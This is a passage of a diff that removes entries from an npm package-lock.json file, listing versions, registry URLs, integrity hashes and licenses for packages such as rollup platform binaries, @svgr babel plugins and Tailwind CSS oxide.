"node_modules/@rollup/pluginutils/node_modules/estree-walker": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-2.0.2.tgz", - "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==", - "dev": true, - "license": "MIT" - }, - "node_modules/@rollup/rollup-android-arm-eabi": { - "version": "4.61.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.61.1.tgz", - "integrity": "sha512-JnBB8MdXj45cajvTuO5FmPlvFVJRQgvrz1uSEl3NwqFnReAPGwb8EanbGi4z2nRaqLzjJSv5/JmycoTKlRZxHA==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ] - }, - "node_modules/@rollup/rollup-android-arm64": { - "version": "4.61.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.61.1.tgz", - "integrity": "sha512-Jx2g7iSjw4AOT0HDPHM9RV3GNjRXwybWtSFZiZAYUTjUwjVrYIwq3kBf+LnhqJlzXFAqTAh2F7IGI+O568exPw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ] - }, - "node_modules/@rollup/rollup-darwin-arm64": { - "version": "4.61.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.61.1.tgz", - "integrity": "sha512-0F1L/Z3Eqv8mT2n3dCpeO8GcTvHvVqkP5/t6DMsn0KzhYVcg+s7Ncl5DS8qjKYEeio6Az0Gt6nyBORay5qIlCA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ] - }, - "node_modules/@rollup/rollup-darwin-x64": { - "version": "4.61.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.61.1.tgz", - "integrity": "sha512-qLttcH871ujY4YcVfUSShhOw+CsoTatYz8gRbHO7Bb92QH059/P0y5do1KMs41fY0BpD2x4AJH/gID0zFiqVKQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ] - }, - "node_modules/@rollup/rollup-freebsd-arm64": { - "version": "4.61.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.61.1.tgz", - "integrity": "sha512-fUI4RapGE0Oh3mb8mgfvC1O2nU1RpDZUKnDQm3xB1Ipg7C2wTs5Kstz7G2uWK99a8S2yTMq8/P4uycwNa0nJyw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ] - }, - "node_modules/@rollup/rollup-freebsd-x64": { - "version": "4.61.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.61.1.tgz", - "integrity": "sha512-H5YrdvJaDtI/U9/emrD4b++xkvp3y/JvOe4rizHbxvkyMfRS/CiRYdji+Pl8D0brEaNFWUh1drQxgAGIl6Xudw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ] - }, - "node_modules/@rollup/rollup-linux-arm-gnueabihf": { - "version": "4.61.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.61.1.tgz", - "integrity": "sha512-Q8CBCCQtDFrYtXoeUXSrnFXKOnyUhx6bz+SkL6A0E7V8kAiCJ5pamq1WtbfpVGhR5TSpXY6ak3avmDc5fHTyJA==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-arm-musleabihf": { - "version": "4.61.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.61.1.tgz", - "integrity": "sha512-nwnhk1581l0FBVellGcVCAT0Oi06onEA3WB53sf01VO3I0UPBkMH9sXONYME2K0ovXcNayJfNtHfm6mpJElatQ==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-arm64-gnu": { - "version": "4.61.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.61.1.tgz", - "integrity": "sha512-x5Xr49hwt3hdW75UOZm3395YwwzPyauktslv29KpWL/T+vVAzoT3azLcTWv0eMciBNrx+DYjH4paehHoLpPvpg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-arm64-musl": { - "version": "4.61.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.61.1.tgz", - "integrity": "sha512-unMS3H73DpaoPyyEVPjGKleM/s0mkmsauTENpw4INQY8y4+IuLNjkueQ5QCtC0D3N38Y38yhAU8OoZ20S2Tm6w==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-loong64-gnu": { - "version": "4.61.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.61.1.tgz", - "integrity": "sha512-zNZzGRnAhwjFEYmvphJRV5XaQGjs62cCmeYYHUT//NbvEnHauw+I85nGG+SiVg5ld4GX8D1IbKIX+ozITQnhMQ==", - "cpu": [ - "loong64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-loong64-musl": { - "version": "4.61.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.61.1.tgz", - "integrity": "sha512-LdpWGL8X209B2SIvWjqlc8VZgM6PKfontSerGepuldQmHYrAOtnMCXeJkxXGbC+PPZVOuu5czJo7fNV6aeW8rQ==", - "cpu": [ - "loong64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-ppc64-gnu": { - "version": "4.61.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.61.1.tgz", - "integrity": "sha512-EC5kTtNaNGOmbMGqar8dvJy6y/hg99GAwjfBz++pxZhQATXGcRjd6c5en5wcbru0vkRmiMGsQKdMJOOf6sza4g==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-ppc64-musl": { - "version": "4.61.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.61.1.tgz", - "integrity": "sha512-8hiwp6D4acEcNK78I4rP0/XtS1sknWIAMJBPdR4l6zUtyTm5KiTDr5bXmWt4foY7nAN7AThDHgkLIEZOWKbzWw==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-riscv64-gnu": { - "version": "4.61.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.61.1.tgz", - "integrity": "sha512-10dh/h/BqA7DuMPWSxkR8uks18FRwnwOEqr5zOTEl+NOwP/OMzKX8OFR/Of9xxDA7D5qef1Nzar5WDD2kCCr1g==", - "cpu": [ - "riscv64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-riscv64-musl": { - "version": "4.61.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.61.1.tgz", - "integrity": "sha512-YKJ5lg35DP17gcAOggnihe+APw9HLyj1Xn7gsmGumBJAUDa6NGXNixJzmkWLhcK9TOuuyQjdamzvJefkO7qHZQ==", - "cpu": [ - "riscv64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-s390x-gnu": { - "version": "4.61.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.61.1.tgz", - "integrity": "sha512-Mlil5G2Jj6a7B3LWGctg+XPL9vdXYuzCtNXfxOQ0nPjc2m6ueUktocPGH9bnAM0bNRKb/bAWTujUU7IJQdQA+g==", - "cpu": [ - "s390x" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-x64-gnu": { - "version": "4.61.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.61.1.tgz", - "integrity": "sha512-bVWIOIk6pV01p4CdUbPP7CJ/434z+OooYjDuFcR+44N35YvKUC66G8MGnvcWx5mWKW3g61J+t74l3Kj15Kwn2Q==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-x64-musl": { - "version": "4.61.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.61.1.tgz", - "integrity": "sha512-qy5pBvZbqNFheBz61R1rzsezjm0J7O2oNGoWtGoY89SZYLUfxAJTBAqDChqAIdB4rCiIbi9nF7yZ83GnNiLwSw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-openbsd-x64": { - "version": "4.61.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.61.1.tgz", - "integrity": "sha512-E83TXjI4zm0+5f2qO+UOudaCYIhYwpJ5jq6YCZNIZ+6CbfhKrkAGezeiASBL9ElxAxFsRS9ZhESv8mfnj6TKeg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openbsd" - ] - }, - "node_modules/@rollup/rollup-openharmony-arm64": { - "version": "4.61.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.61.1.tgz", - "integrity": "sha512-fbWnKqVkjrJN38vNe3ahkbk6iejS/3b0Nt7EEtPpE6RBacZcGXNKbzfHN3GUUlXOPghUg0j6XUGrtjX9z1sIvA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openharmony" - ] - }, - "node_modules/@rollup/rollup-win32-arm64-msvc": { - "version": "4.61.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.61.1.tgz", - "integrity": "sha512-ArMl38iVAbk0New1ogihQNY6iphLi4ZaRsa037gUzv5yeKPY8TD3Dmy4x2RNC1VztU/uqm+G+/RwFrSka3Oy2g==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@rollup/rollup-win32-ia32-msvc": { - "version": "4.61.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.61.1.tgz", - "integrity": "sha512-0mYtjHS9ucAbcATycCNK9IGBk/cCe/ma7EmSLGZdsxnOA8cjRIyU04wDpVAD9NiOfLUR9KTxdiO53uOkherqjQ==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@rollup/rollup-win32-x64-gnu": { - "version": "4.61.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.61.1.tgz", - "integrity": "sha512-gK1iCEPfpoSG9wfBihXxvBMi8ZfcWffYkEsC/Eih+iFENTaewvNcrEQ69lIOWYO5pePHKLHHO7nq5AILGO/HQQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@rollup/rollup-win32-x64-msvc": { - "version": "4.61.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.61.1.tgz", - "integrity": "sha512-X+zaP2x+j4RXGfbp/seSoRHWnPxzApilDszisZxbYH5C/jTxFhCtDNdPGZb9lJyYPs24wGxruPF7Y+sIXt9Gzw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@sindresorhus/is": { - "version": "4.6.0", - "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-4.6.0.tgz", - "integrity": "sha512-t09vSN3MdfsyCHoFcTRCH/iUtG7OJ0CsjzB8cjAmKc/va/kIgeDI/TxsigdncE/4be734m0cvIYwNaV4i2XqAw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sindresorhus/is?sponsor=1" - } - }, - "node_modules/@so-ric/colorspace": { - "version": "1.1.6", - "resolved": "https://registry.npmjs.org/@so-ric/colorspace/-/colorspace-1.1.6.tgz", - "integrity": "sha512-/KiKkpHNOBgkFJwu9sh48LkHSMYGyuTcSFK/qMBdnOAlrRJzRSXAOFB5qwzaVQuDl8wAvHVMkaASQDReTahxuw==", - "license": "MIT", - "dependencies": { - "color": "^5.0.2", - "text-hex": "1.0.x" - } - }, - "node_modules/@so-ric/colorspace/node_modules/color": { - "version": "5.0.3", - "resolved": "https://registry.npmjs.org/color/-/color-5.0.3.tgz", - "integrity": "sha512-ezmVcLR3xAVp8kYOm4GS45ZLLgIE6SPAFoduLr6hTDajwb3KZ2F46gulK3XpcwRFb5KKGCSezCBAY4Dw4HsyXA==", - "license": "MIT", - "dependencies": { - "color-convert": "^3.1.3", - "color-string": "^2.1.3" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/@so-ric/colorspace/node_modules/color-convert": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-3.1.3.tgz", - "integrity": "sha512-fasDH2ont2GqF5HpyO4w0+BcewlhHEZOFn9c1ckZdHpJ56Qb7MHhH/IcJZbBGgvdtwdwNbLvxiBEdg336iA9Sg==", - "license": "MIT", - "dependencies": { - "color-name": "^2.0.0" - }, - "engines": { - "node": ">=14.6" - } - }, - "node_modules/@so-ric/colorspace/node_modules/color-name": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-2.1.0.tgz", - "integrity": "sha512-1bPaDNFm0axzE4MEAzKPuqKWeRaT43U/hyxKPBdqTfmPF+d6n7FSoTFxLVULUJOmiLp01KjhIPPH+HrXZJN4Rg==", - "license": "MIT", - "engines": { - "node": ">=12.20" - } - }, - "node_modules/@so-ric/colorspace/node_modules/color-string": { - "version": "2.1.4", - "resolved": "https://registry.npmjs.org/color-string/-/color-string-2.1.4.tgz", - "integrity": "sha512-Bb6Cq8oq0IjDOe8wJmi4JeNn763Xs9cfrBcaylK1tPypWzyoy2G3l90v9k64kjphl/ZJjPIShFztenRomi8WTg==", - "license": "MIT", - "dependencies": { - "color-name": "^2.0.0" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/@socket.io/component-emitter": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/@socket.io/component-emitter/-/component-emitter-3.1.2.tgz", - "integrity": "sha512-9BCxFwvbGg/RsZK9tjXd8s4UcwR0MWeFQ1XEKIQVVvAGJyINdrqKMcTRyLoK8Rse1GjzLV9cwjWV1olXRWEXVA==", - "license": "MIT" - }, - "node_modules/@spectrum-icons/ui": { - "version": "3.7.1", - "resolved": "https://registry.npmjs.org/@spectrum-icons/ui/-/ui-3.7.1.tgz", - "integrity": "sha512-veQymocUYo5OciXQajSailOdbWe+k6+2ehfF8D4d0V923D4xOUadtT253xXZ5vEQjPat6Kyp2WDKeQNjd7kL1w==", - "license": "Apache-2.0", - "dependencies": { - "@adobe/react-spectrum-ui": "1.2.1", - "@babel/runtime": "^7.24.4", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "@adobe/react-spectrum": "^3.47.0", - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@spectrum-icons/workflow": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/@spectrum-icons/workflow/-/workflow-4.3.1.tgz", - "integrity": "sha512-kDF+/EbFVyLGytotqqdYt4uSij4j/PQmDQO5km/C6DyzKjyuic3FnSBFinR+mA6oFv1OjMcLvrrDBqK3wbqRlA==", - "license": "Apache-2.0", - "dependencies": { - "@adobe/react-spectrum-workflow": "2.3.5", - "@swc/helpers": "^0.5.0" - }, - "peerDependencies": { - "@adobe/react-spectrum": "^3.47.0", - "react": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1", - "react-dom": "^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 || ^19.0.0-rc.1" - } - }, - "node_modules/@standard-schema/spec": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/@standard-schema/spec/-/spec-1.1.0.tgz", - "integrity": "sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w==", - "dev": true, - "license": "MIT" - }, - "node_modules/@svgr/babel-plugin-add-jsx-attribute": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-add-jsx-attribute/-/babel-plugin-add-jsx-attribute-8.0.0.tgz", - "integrity": "sha512-b9MIk7yhdS1pMCZM8VeNfUlSKVRhsHZNMl5O9SfaX0l0t5wjdgu4IDzGB8bpnGBBOjGST3rRFVsaaEtI4W6f7g==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=14" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/gregberge" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@svgr/babel-plugin-remove-jsx-attribute": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-remove-jsx-attribute/-/babel-plugin-remove-jsx-attribute-8.0.0.tgz", - "integrity": "sha512-BcCkm/STipKvbCl6b7QFrMh/vx00vIP63k2eM66MfHJzPr6O2U0jYEViXkHJWqXqQYjdeA9cuCl5KWmlwjDvbA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=14" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/gregberge" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@svgr/babel-plugin-remove-jsx-empty-expression": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-remove-jsx-empty-expression/-/babel-plugin-remove-jsx-empty-expression-8.0.0.tgz", - "integrity": "sha512-5BcGCBfBxB5+XSDSWnhTThfI9jcO5f0Ai2V24gZpG+wXF14BzwxxdDb4g6trdOux0rhibGs385BeFMSmxtS3uA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=14" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/gregberge" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@svgr/babel-plugin-replace-jsx-attribute-value": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-replace-jsx-attribute-value/-/babel-plugin-replace-jsx-attribute-value-8.0.0.tgz", - "integrity": "sha512-KVQ+PtIjb1BuYT3ht8M5KbzWBhdAjjUPdlMtpuw/VjT8coTrItWX6Qafl9+ji831JaJcu6PJNKCV0bp01lBNzQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=14" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/gregberge" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@svgr/babel-plugin-svg-dynamic-title": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-svg-dynamic-title/-/babel-plugin-svg-dynamic-title-8.0.0.tgz", - "integrity": "sha512-omNiKqwjNmOQJ2v6ge4SErBbkooV2aAWwaPFs2vUY7p7GhVkzRkJ00kILXQvRhA6miHnNpXv7MRnnSjdRjK8og==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=14" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/gregberge" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@svgr/babel-plugin-svg-em-dimensions": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-svg-em-dimensions/-/babel-plugin-svg-em-dimensions-8.0.0.tgz", - "integrity": "sha512-mURHYnu6Iw3UBTbhGwE/vsngtCIbHE43xCRK7kCw4t01xyGqb2Pd+WXekRRoFOBIY29ZoOhUCTEweDMdrjfi9g==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=14" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/gregberge" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@svgr/babel-plugin-transform-react-native-svg": { - "version": "8.1.0", - "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-transform-react-native-svg/-/babel-plugin-transform-react-native-svg-8.1.0.tgz", - "integrity": "sha512-Tx8T58CHo+7nwJ+EhUwx3LfdNSG9R2OKfaIXXs5soiy5HtgoAEkDay9LIimLOcG8dJQH1wPZp/cnAv6S9CrR1Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=14" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/gregberge" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@svgr/babel-plugin-transform-svg-component": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-transform-svg-component/-/babel-plugin-transform-svg-component-8.0.0.tgz", - "integrity": "sha512-DFx8xa3cZXTdb/k3kfPeaixecQLgKh5NVBMwD0AQxOzcZawK4oo1Jh9LbrcACUivsCA7TLG8eeWgrDXjTMhRmw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=12" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/gregberge" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@svgr/babel-preset": { - "version": "8.1.0", - "resolved": "https://registry.npmjs.org/@svgr/babel-preset/-/babel-preset-8.1.0.tgz", - "integrity": "sha512-7EYDbHE7MxHpv4sxvnVPngw5fuR6pw79SkcrILHJ/iMpuKySNCl5W1qcwPEpU+LgyRXOaAFgH0KhwD18wwg6ug==", - "dev": true, - "license": "MIT", - "dependencies": { - "@svgr/babel-plugin-add-jsx-attribute": "8.0.0", - "@svgr/babel-plugin-remove-jsx-attribute": "8.0.0", - "@svgr/babel-plugin-remove-jsx-empty-expression": "8.0.0", - "@svgr/babel-plugin-replace-jsx-attribute-value": "8.0.0", - "@svgr/babel-plugin-svg-dynamic-title": "8.0.0", - "@svgr/babel-plugin-svg-em-dimensions": "8.0.0", - "@svgr/babel-plugin-transform-react-native-svg": "8.1.0", - "@svgr/babel-plugin-transform-svg-component": "8.0.0" - }, - "engines": { - "node": ">=14" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/gregberge" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@svgr/core": { - "version": "8.1.0", - "resolved": "https://registry.npmjs.org/@svgr/core/-/core-8.1.0.tgz", - "integrity": "sha512-8QqtOQT5ACVlmsvKOJNEaWmRPmcojMOzCz4Hs2BGG/toAp/K38LcsMRyLp349glq5AzJbCEeimEoxaX6v/fLrA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/core": "^7.21.3", - "@svgr/babel-preset": "8.1.0", - "camelcase": "^6.2.0", - "cosmiconfig": "^8.1.3", - "snake-case": "^3.0.4" - }, - "engines": { - "node": ">=14" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/gregberge" - } - }, - "node_modules/@svgr/hast-util-to-babel-ast": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/@svgr/hast-util-to-babel-ast/-/hast-util-to-babel-ast-8.0.0.tgz", - "integrity": "sha512-EbDKwO9GpfWP4jN9sGdYwPBU0kdomaPIL2Eu4YwmgP+sJeXT+L7bMwJUBnhzfH8Q2qMBqZ4fJwpCyYsAN3mt2Q==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/types": "^7.21.3", - "entities": "^4.4.0" - }, - "engines": { - "node": ">=14" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/gregberge" - } - }, - "node_modules/@svgr/hast-util-to-babel-ast/node_modules/entities": { - "version": "4.5.0", - "resolved": "https://registry.npmjs.org/entities/-/entities-4.5.0.tgz", - "integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==", - "dev": true, - "license": "BSD-2-Clause", - "engines": { - "node": ">=0.12" - }, - "funding": { - "url": "https://github.com/fb55/entities?sponsor=1" - } - }, - "node_modules/@svgr/plugin-jsx": { - "version": "8.1.0", - "resolved": "https://registry.npmjs.org/@svgr/plugin-jsx/-/plugin-jsx-8.1.0.tgz", - "integrity": "sha512-0xiIyBsLlr8quN+WyuxooNW9RJ0Dpr8uOnH/xrCVO8GLUcwHISwj1AG0k+LFzteTkAA0GbX0kj9q6Dk70PTiPA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/core": "^7.21.3", - "@svgr/babel-preset": "8.1.0", - "@svgr/hast-util-to-babel-ast": "8.0.0", - "svg-parser": "^2.0.4" - }, - "engines": { - "node": ">=14" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/gregberge" - }, - "peerDependencies": { - "@svgr/core": "*" - } - }, - "node_modules/@swc/helpers": { - "version": "0.5.23", - "resolved": "https://registry.npmjs.org/@swc/helpers/-/helpers-0.5.23.tgz", - "integrity": "sha512-5lSsMOTXURePglDfvuAQUqkGek9Hg2kksOYay2m0+XR++b2NWYL/4sWyuvVBIs8oKnJaxkdi9whaL/sqN13afw==", - "license": "Apache-2.0", - "dependencies": { - "tslib": "^2.8.0" - } - }, - "node_modules/@szmarczak/http-timer": { - "version": "4.0.6", - "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-4.0.6.tgz", - "integrity": "sha512-4BAffykYOgO+5nzBWYwE3W90sBgLJoUPRWWcL8wlyiM8IB8ipJz3UMJ9KXQd1RKQXpKp8Tutn80HZtWsu2u76w==", - "dev": true, - "license": "MIT", - "dependencies": { - "defer-to-connect": "^2.0.0" - }, - "engines": { - "node": ">=10" - } - }, - "node_modules/@tailwindcss/node": { - "version": "4.2.4", - "resolved": "https://registry.npmjs.org/@tailwindcss/node/-/node-4.2.4.tgz", - "integrity": "sha512-Ai7+yQPxz3ddrDQzFfBKdHEVBg0w3Zl83jnjuwxnZOsnH9pGn93QHQtpU0p/8rYWxvbFZHneni6p1BSLK4DkGA==", - "license": "MIT", - "dependencies": { - "@jridgewell/remapping": "^2.3.5", - "enhanced-resolve": "^5.19.0", - "jiti": "^2.6.1", - "lightningcss": "1.32.0", - "magic-string": "^0.30.21", - "source-map-js": "^1.2.1", - "tailwindcss": "4.2.4" - } - }, - "node_modules/@tailwindcss/oxide": { - "version": "4.2.4", - "resolved": "https://registry.npmjs.org/@tailwindcss/oxide/-/oxide-4.2.4.tgz", - "integrity": "sha512-9El/iI069DKDSXwTvB9J4BwdO5JhRrOweGaK25taBAvBXyXqJAX+Jqdvs8r8gKpsI/1m0LeJLyQYTf/WLrBT1Q==", - "license": "MIT", - "engines": { - "node": ">= 20" - }, - "optionalDependencies": { - "@tailwindcss/oxide-android-arm64": "4.2.4", - "@tailwindcss/oxide-darwin-arm64": "4.2.4", - "@tailwindcss/oxide-darwin-x64": "4.2.4", - "@tailwindcss/oxide-freebsd-x64": "4.2.4", - "@tailwindcss/oxide-linux-arm-gnueabihf": "4.2.4", - "@tailwindcss/oxide-linux-arm64-gnu": "4.2.4", - "@tailwindcss/oxide-linux-arm64-musl": "4.2.4", - "@tailwindcss/oxide-linux-x64-gnu": "4.2.4", - "@tailwindcss/oxide-linux-x64-musl": "4.2.4", - "@tailwindcss/oxide-wasm32-wasi": "4.2.4", - "@tailwindcss/oxide-win32-arm64-msvc": "4.2.4", - "@tailwindcss/oxide-win32-x64-msvc": "4.2.4" - } - }, - "node_modules/@tailwindcss/oxide-android-arm64": { - "version": "4.2.4", - "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-android-arm64/-/oxide-android-arm64-4.2.4.tgz", - "integrity": "sha512-e7MOr1SAn9U8KlZzPi1ZXGZHeC5anY36qjNwmZv9pOJ8E4Q6jmD1vyEHkQFmNOIN7twGPEMXRHmitN4zCMN03g==", - "cpu": [ - "arm64" - ], - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">= 20" - } - }, - "node_modules/@tailwindcss/oxide-darwin-arm64": { - "version": "4.2.4", - "resolved": 